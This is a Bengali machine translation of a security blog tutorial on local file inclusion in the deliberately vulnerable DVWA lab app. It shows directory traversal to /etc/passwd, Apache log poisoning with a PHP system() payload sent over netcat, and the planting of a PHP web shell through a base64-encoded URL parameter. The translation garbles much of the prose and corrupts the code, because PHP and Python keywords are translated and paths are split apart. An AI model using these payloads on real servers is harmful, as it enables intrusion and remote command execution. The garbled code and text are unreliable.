অভিশাপ তালিকা ওয়েব অ্যাপ - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI)
লেখক:
Ashfaq আনসারি

দ্বারা পর্যালোচনা:
নির্ধারণ:
5
অন মার্চ 18, 2013
শেষ বার পরিমার্জিত:মার্চ 18, 2013

সংক্ষিপ্ত:

স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) দুর্বলতার একটি টাইপ প্রায়শই ওয়েবসাইটে পাওয়া যায়. এটি একটি আক্রমণকারী একটি স্থানীয় ফাইল অন্তর্ভুক্ত করতে পারবেন, সাধারণত ওয়েব সার্ভারে একটি স্ক্রিপ্ট এর মাধ্যমে. দুর্বলতার সঠিক ভ্যালিডেশন ছাড়া ব্যবহারকারী সরবরাহ করা ইনপুট ব্যবহার করার কারণে ঘটে.

ভূমিকা

 

প্রথম অংশ অভিশাপ তালিকা ওয়েব অ্যাপ (DVWA) সিরিজ, আমরা ইনস্টল করতে পারেন কিভাবে দেখা হয়েছে অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA) উপর পরিত্যাগ করা 5 R1.
 

আপনি প্রথম অংশ পড়তে না থাকেন তাহলে, এখানে লিঙ্ক: HTTP://hacksys.vfreaks.com / কলম-টেস্টিং / অভিশাপ-প্রবন-ওয়েব অ্যাপ্লিকেশন-SQL-injection.html

 

এখন, আমরা নামে পরিচিত আরেকটি আক্রমণ ভেক্টর পরীক্ষা হবে স্থানীয় ফাইল অন্তর্ভুক্তি (LFI).
 

স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) দুর্বলতার একটি টাইপ প্রায়শই ওয়েবসাইটে পাওয়া যায়. এটি একটি আক্রমণকারী একটি স্থানীয় ফাইল অন্তর্ভুক্ত করতে পারবেন, সাধারণত ওয়েব সার্ভারে একটি স্ক্রিপ্ট এর মাধ্যমে.
 

দুর্বলতার সঠিক ভ্যালিডেশন ছাড়া ব্যবহারকারী সরবরাহ করা ইনপুট ব্যবহার করার কারণে ঘটে. এই ফাইলের বিষয়বস্তু outputting হিসেবে সংক্ষিপ্ত হিসাবে কিছু হতে পারে, কিন্তু তীব্রতার উপর নির্ভর করে, কয়েক এটা তালিকায় হতে পারে:
 


1. ওয়েব সার্ভারে কোড সম্পাদন.
2. যেমন ক্রস সাইট স্ক্রিপ্টিং অন্যান্য আক্রমণের হতে পারে এমন জাভাস্ক্রিপ্ট হিসাবে ক্লায়েন্ট প্রান্তের নেভিগেশন কোড সম্পাদন (XSS).
3. পরিষেবা অস্বীকার (DoS).
4. তথ্য চুরি এবং ডেটা ম্যানিপুলেশন.

 

এখন, পিছনে ধারণা স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) আক্রমণ ভেক্টর যে, এটি ওয়েব সার্ভারে এটি অ্যাক্সেস করার অনুমতি আছে কিনা কোনো আক্রমণকারী প্রবন ওয়েব স্ক্রিপ্ট ব্যবহার করে ওয়েব সার্ভারের কোনো স্থানীয় ফাইল অন্তর্ভুক্ত করতে পারবেন.
 

আপনি সমস্ত চিন্তা করা আবশ্যক “এটি একটি মহান চুক্তি কি?”.
 

ভাল, আমি এই একটি খুব সমস্যা হয় বলা উচিত ওয়েব সার্ভারে সঠিকরূপে কনফিগার করা না হলে,.
 

চলুন শুরু করা যাক, কোনো আক্রমণকারী প্রবন পিএইচপি স্ক্রিপ্টের মাধ্যমে ওয়েব সার্ভারে একটি স্থানীয় ফাইল অন্তর্ভুক্ত করতে পারবেন যে বিবেচনা. তিনি অন্তর্ভুক্ত করা হচ্ছে যে ফাইল আছে, যা কোনো পিএইচপি কোড সঞ্চালিত করতে সক্ষম হতে হবে.
 

এখন, আপনি কিছু চিন্তা করতে হবে “এটি এক্সেস নাফা একটি হ্যাকার সাহায্য না যখন একটি স্থানীয় ফাইল অন্তর্ভুক্ত করে পিএইচপি স্ক্রিপ্ট নির্বাহ ব্যবহার কি?”.
 

Apache HTTP সার্ভার ওয়েব সার্ভারে যে এরকম সবকিছু লগিং জন্য বিভিন্ন পদ্ধতি বিভিন্ন উপলব্ধ, প্রাথমিক অনুরোধ থেকে, URL-এ ম্যাপিং প্রক্রিয়ার মাধ্যমে, সংযোগ চূড়ান্ত রেজল্যুশন, প্রক্রিয়াটি সংঘটিত হতে পারে যে কোনো ত্রুটি সহ.
 

এখানে পাওয়া নিরাপত্তা সতর্কবাণী একটি স্নিপেট হয় Apache HTTP সার্ভার ডকুমেন্টেশন পৃষ্ঠা.
 

লিংক: http://httpd.apache.org/docs/2.4/logs.html
 

নিরাপত্তা সতর্কবাণী: দ্বারা Apache httpd-র একটি লগ ফাইল লেখা হয় যেখানে ডিরেক্টরিতে লিখতে পারেন যে কেউ যিনি প্রায় নিশ্চিতভাবেই সার্ভার হিসাবে শুরু হয় uid প্রবেশ করতে পারবে, যা সাধারণত রুট. মানুষ ডিরেক্টরিতে অ্যাক্সেস লিখতে দেবেন না এক্সপ্লোর পরিচালনা করো ফলাফল অজান্তেই মধ্যে সংরক্ষিত হয়. বিস্তারিত জানার জন্য নিরাপত্তা টিপস ডকুমেন্ট দেখতে. উপরন্তু, লগ ফাইল ক্লায়েন্ট দ্বারা সরাসরি সরবরাহ করা তথ্য উপস্থিত থাকতে পারে, escaping ছাড়া. সেইজন্য, দূষিত ক্লায়েন্টদের লগ ফাইলের মধ্যে কন্ট্রোল অক্ষর সন্নিবেশ জন্য এটা সম্ভব, তাই যত্ন কাঁচা এক্সপ্লোর পরিচালনা করো সঙ্গে তার আচরণ মধ্যে গ্রহণ করা আবশ্যক.

 

আপনার অবগতির জন্য, মধ্যে পরিত্যাগ করা 5 R1, দী Apache HTTP সার্ভার এর লগ ফাইলের দিকে অবস্থিত:
 

/var / log / apache2 / access.log

/var/log/apache2/error.log


 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) ফাইল পাথ লগ ইন
 

আপনি ইতিমধ্যে লগ ডিরেক্টরি অনুমতি ওপর উপরোক্ত নিরাপত্তা সতর্কবাণী পড়া আছে. আক্রমণকারী ব্যবহার করে লগ ফাইলের পাথ খোঁজার সফল হলে ডাইরেক্টরি ট্র্যাভেরসাল আক্রমণ, তিনি লগ ফাইল দূষিত কোড লিখে এইসব লগ বিষ করতে পারেন, যদি “লগ ইন” ডিরেক্টরি ও ফাইল সংক্রান্ত অনুমতি সঠিকভাবে কনফিগার করা হয় না.
 

আমরা কিভাবে আমরা করতে পারেন এইজন্য হবে বিষ দী লগ ফাইল এই পোস্টে পরের অংশ.
 

সম্পর্কে মৌলিক তথ্য সঙ্গে সশস্ত্র স্থানীয় ফাইল অন্তর্ভুক্তি (LFI), যাক এর এগিয়ে যান এবং বাস্তব সময় তা অনুভব.
 

উল্লেখ্য,: পরিত্যাগ ইন 5 R1, দী “access.log” ফাইল এর অ্যাক্সেস অনুমতি “অন্যান্য” সেট করা হয় “নিষিদ্ধ করা”.

 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) ফাইল অনুমতি লগ ইন
 

এখন, এর দিতে “পড়তে পারেন” অনুমতি অ্যাক্সেস “অন্যান্য”.
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) ফাইল অনুমতি লগিন পড়ুন
 

আমরা সেটিং করা হয় “পড়তে পারেন” আমরা প্রমাণ করতে সক্ষম হবেন, যাতে অনুমতি স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) ব্যবহার করে আক্রমণ ভেক্টর অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA).
 

সেট করুন এবং যান.

 

লগইন আপনি চলুন শুরু করা যাক অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA) এবং সেট নিরাপত্তা স্তর কম.
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) নিন্ম নিরাপত্তা
 

দেখার জন্য ক্লিক করুন ফাইল অন্তর্ভুক্তি.
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) ফাইল অন্তর্ভুক্তি ট্যাব
 

HTTP://192.168.96.128/dvwa / ভঙ্গুরতার / / এ?পাতা = include.php

 

একটি ফাইল অন্তর্ভুক্ত করা ?পাতা = index.php অন্তর্ভুক্ত করা হয়, যা ফাইল নির্ধারণ URL-এ.
 

উপরের URL টি সত্যিই অসহায় কিনা এর নিশ্চিত করা যাক স্থানীয় ফাইল অন্তর্ভুক্তি.
 

আমরা কি করব ডাইরেক্টরি ট্র্যাভেরসাল এবং অন্তর্ভুক্ত করার চেষ্টা করুন /passwd কোন জন্য / etc ফাইল. এই অন্তর্ভুক্তি successfull যদি, আমরা বিষয়বস্তু খুঁজে পেতে হবে /passwd কোন জন্য / etc ওয়েব পেজে প্রদর্শিত.
 

HTTP://192.168.96.128/dvwa / ভঙ্গুরতার / / এ?পাতা = .. / .. / .. / .. / .. / etc / passwd

 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) /etc/passwd Inclusion
 

যে দেখতেও ভাল! আমরা অন্তর্ভুক্ত করতে সক্ষম হয়েছি /passwd কোন জন্য / etc ফাইল অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA) সফলভাবে ওয়েব পেজ হিসাবে পূর্ণ কন্টেন্ট প্রদর্শন করা হয়েছে /passwd কোন জন্য / etc ফাইল.
 

আমাদের পরবর্তী কাজের অন্তর্ভুক্ত করা চেষ্টা করা হয় এ্যাপাচি কার্যবিবরণী ফাইল. আবার, আমরা ব্যবহার করা হবে ডাইরেক্টরি ট্র্যাভেরসাল এবং অন্তর্ভুক্ত করার চেষ্টা করুন /var / log / apache2 / access.log ফাইল.
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) Access Log Inclusion
 

HTTP://192.168.96.128/dvwa / ভঙ্গুরতার / / এ?পাতা = .. / .. / .. / .. / log / apache2 / access.log

 

বাহ! এই আমাদের জন্য একটি ভাল দিন. থিংস একটি ভাল ভাবে কাজ করছেন বাইরে. Apache ওয়েব সার্ভার এর access.log ফাইল সফলভাবে অন্তর্ভুক্ত করা হয়. এটা যে এখন একটি মহান ইঙ্গিত, আমরা প্রতি মাথা এবং চেষ্টা করতে পারেন বিষ দী এ্যাপাচি ত্রুটি লগ.
 

উল্লেখ্য,: আমি এই প্রত্যাখ্যান করা হয়েছে ব্যবহার করে হিসাবে 5 একটি বছর থেকে R1. আমি খুঁজে মুছে ফেলা হবে access.log এবং error.log আমি সহজে আপনার লগ ফাইল বিষ অংশ প্রদর্শন করতে পারবেন না যাতে.    

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) পরিষ্কার এক্সপ্লোর পরিচালনা করো

আমরা প্রস্তুত বিষ দী access.log ফাইল. এই আক্রমণকারী অন্তর্ভুক্ত সহায়তা করবে এটি একটি গুরুত্বপূর্ণ পদক্ষেপ access.log ফাইল এবং চালানো বিষ পিএইচপি কোড লেখা হবে access.log এই ধাপে ফাইল. বিষক্রিয়া বিষয়বস্তু পরীক্ষা করে নিশ্চিত করা যাবে error.log ফাইল.
 

একটি খুলুন টার্মিনাল এবং এ সংযোগ করুন Apache Web server পোর্টে 80 ব্যবহার netcat.
 

1
2
3
root-র @ BT:~ # NC 192.168.96.128 80

GET /hazStart<?পিএইচপি সিস্টেম(base64_decode($_GET[একটি]));?>HTTP-র hazEnd/1.1

 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) এক্সপ্লোর পরিচালনা করো বিষ
 

এখন, বিষক্রিয়া সফল হয়েছে কিনা তা নিশ্চিত করতে দেয়. এই জন্য, আমরা উভয় খোলা হবে access.log এবং error.log ফাইল এবং এটি এর এন্ট্রি বুঝতে চেষ্টা করুন.
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) এক্সপ্লোর পরিচালনা করো বিষ
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) এক্সপ্লোর পরিচালনা করো বিষ
 

শান্ত! আমাদের সাথে আছে বিষ লগ ফাইল. প্রতিটি জিনিস প্রত্যাশিত হিসেবে কাজ করেছে.
 

উল্লেখ্য,: আমরা ইতিমধ্যে একটি মিনি পিএইচপি শেল লিখিত আছে access.log লগ ফাইল. এখন আমাদের পরবর্তী উদ্দেশ্য অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন হোস্টিং ওয়েব সার্ভারের root-র আরেকটি মিনি পিএইচপি শেল লিখতে হয় (DVWA).

 

এখানে ওয়েব সার্ভারে একটি মিনি পিএইচপি শেল লিখতে হবে যে কমান্ড.
 

1
echo "<?পিএইচপি সিস্টেম(base64_decode($_GET['P'])); ?>" > ../../webshell.php

 

আপনি মনে রাখবেন যদি মিনি পিএইচপি শেল আমরা ইনজেকশনের যে স্ক্রিপ্ট access.log ফাইল, শেল স্ক্রিপ্ট কোড নীচে দেওয়া হয়:
 

1
<?পিএইচপি সিস্টেম(base64_decode($_GET['এ'])); ?>

 

আপনি শেল স্ক্রিপ্ট কোড খুঁজছেন পরে আমরা করতে হবে যে পরবর্তী ধাপে অনুমান করতে পারেন?
 

ভাল, এখন আমরা ব্যবহার করে ওয়েব সার্ভার ব্যবহার করে root মিনি পিএইচপি স্ক্রিপ্ট লিখে কমান্ড সঙ্কেতাক্ষরে লিখা হবে Base64 এনকোডিং এলগরিদম.
 

এখানে একটি সহজ পাইথন প্রোগ্রাম Base64 সঙ্কেতাক্ষরে লিখা একটি স্ট্রিং:
 

1
2
3
4
5
#!/usr / bin / python নামক

base64encodedstr = """echo "<?পিএইচপি সিস্টেম(base64_decode($_GET['P'])); ?>" > ../../webshell.php"""

প্রিন্ট "\Nএনকোড স্ট্রিং: " + base64encodedstr.সঙ্কেতাক্ষরে লিখা('Base64','কঠোর') + "\N"

 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) Base64 Encode
 

দী Base64 এনকোডেড স্ট্রিং নিচে দেওয়া হল:
 

1
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA/PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA=

 

আমরা একটি শেল সঙ্গে স্বাগত জানানো হয় আগে এই শেষ ধাপে হতে যাচ্ছে. 🙂
 

আমরা নেভিগেট করা হবে ইউআরএল লিখতে নিচে দেওয়া মিনি পিএইচপি শেল স্ক্রিপ্ট আপনি ওয়েব সার্ভার রুট.

HTTP://192.168.96.128/dvwa / ভঙ্গুরতার / / এ?পাতা = .. / .. / .. / .. / log / apache2 / access.log?একটি = ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3AnXSkpOyA / PiIgPiAuLi8uLi93ZWJzaGVsbC5waHA =

 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) PHP Web Shell
 

পরিশেষে!! আমরা এটা সফলভাবে সম্পন্ন করেছেন. আমরা একটি আপলোড করেছেন মিনি পিএইচপি শেল একটি ব্যবহার করে স্থানীয় ফাইল অন্তর্ভুক্তি ব্যবস্থার ব্যাখ্যা দুর্বলতা মধ্যে অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA).
 

আমি অটোমেশন প্রেম এবং আমি পাইথন ভালোবাসি কারণে. পাইথন খুব সহজভাবে জটিল জিনিষ সম্পন্ন করার জন্য আপনি চমৎকার শক্তি দেয়.
 

আমি মনে করি আমরা শোষণ স্বয়ংক্রিয়রূপে লিখেছে কোনো Python স্ক্রিপ্ট লিখিত আছে স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) মধ্যে অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন (DVWA).
 

অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) স্ক্রিপ্ট গ্রহণকারী
 

শোষণ স্ক্রিপ্ট দৈর্ঘ্য খুব বড় হয়, আমি এই পোস্টে ব্যবহৃত সমস্ত স্ক্রিপ্ট zip হয়ে গেলে ও ডাউনলোডের জন্য উপলব্ধ আছে.
 

ডাউনলোড অভিশাপ তালিকা ওয়েব অ্যাপ্লিকেশন – স্থানীয় ফাইল অন্তর্ভুক্তি (LFI) উপকরণ পোস্ট:
 

DVWA - LFI গ্রহণকারী স্ক্রিপ্ট
3.9 KiB
644 ডাউনলোড
বিশদ বিবরণ ...

 

এই পোস্টটি পড়ার জন্য আপনার সময় দেবার জন্য আপনাকে ধন্যবাদ. আমি এই আশা করি আপনাকে সাহায্য. আপনি সংক্রান্ত কিছু আলোচনা করতে চান যদি আপনার কোন সন্দেহ আছে বা যদি মন্তব্য ফিরে ছেড়ে বিনা দ্বিধায় দয়া করে স্থানীয় ফাইল অন্তর্ভুক্তি (LFI).
 

46,421 মোট দেখেছে, 32 দেখ আজ

নিম্নলিখিত দুটি ট্যাব নীচের বিষয়বস্তু পরিবর্তন.

Ashfaq আনসারি

নিরাপত্তা গবেষক
আশফাক আনসারীর প্রতিষ্ঠাতা HackSys টিম নামক কোড "প্যানথেরা". তিনি তথ্য নিরাপত্তা বিভিন্ন বৈশিষ্ট্য অভিজ্ঞতার সঙ্গে একটি নিরাপত্তা গবেষক হয়. তিনি রচনা করেছেন "HackSys চরম অরক্ষিত ড্রাইভার" এবং "মৃত্যু Shellcode". তিনি লিখিত এবং নিম্ন স্তরের সফ্টওয়্যার শোষণ বিভিন্ন শ্বেতপত্রগুলি প্রকাশ করেছে. তার কোর সুদ এই ব্যবস্থার সবচেয়ে গুরত্বপূর্ণ "নিম্ন শ্রেনী শোষণ", "রিভার্স ইঞ্জিনিয়ারিং", "প্রোগ্রাম বিশ্লেষণ" এবং "হাইব্রীড Fuzzing". তিনি কৃত্রিম বুদ্ধিমত্তা এবং মেশিন লার্নিং একটি Fanboy হয়. তিনি অধ্যায় সীসা নাল পুনে.

2 প্রতিক্রিয়া “অভিশাপ তালিকা ওয়েব অ্যাপ - স্থানীয় ফাইল অন্তর্ভুক্তি (LFI)”

  1. এটা access.log পড়ুন অনুমতি ছাড়া আক্রমণ প্রদর্শন করা সম্ভব হবে. অনুমতি সেট যাব অন্য কথায় নিষিদ্ধ করতে? সবচেয়ে সার্ভার প্রথমেই এই সেট থাকতে পারে যেহেতু. ব্যাপকভাবে প্রশংসা হবে.

    • উচ্চ কেসি,

      দুর্ভাগ্যবশত, পাসওয়ার্ড ভুলে গেছেন? ফাইল আছে প্রয়োজন অনুমতি পড়া উপর access.log.

      যদি না, আমরা ফাইল পড়তে সক্ষম হয়, আমরা আক্রমণ চালায় পারবে না.

      কিন্তু, আপনি পারে বিভিন্ন আক্রমণ ভেক্টর চেষ্টা.

      ধন্যবাদ.

একটি উত্তর ত্যাগ

আপনার ইমেল ঠিকানা প্রকাশিত হবে না. প্রয়োজনীয় ক্ষেত্রগুলি চিহ্নিত হয় *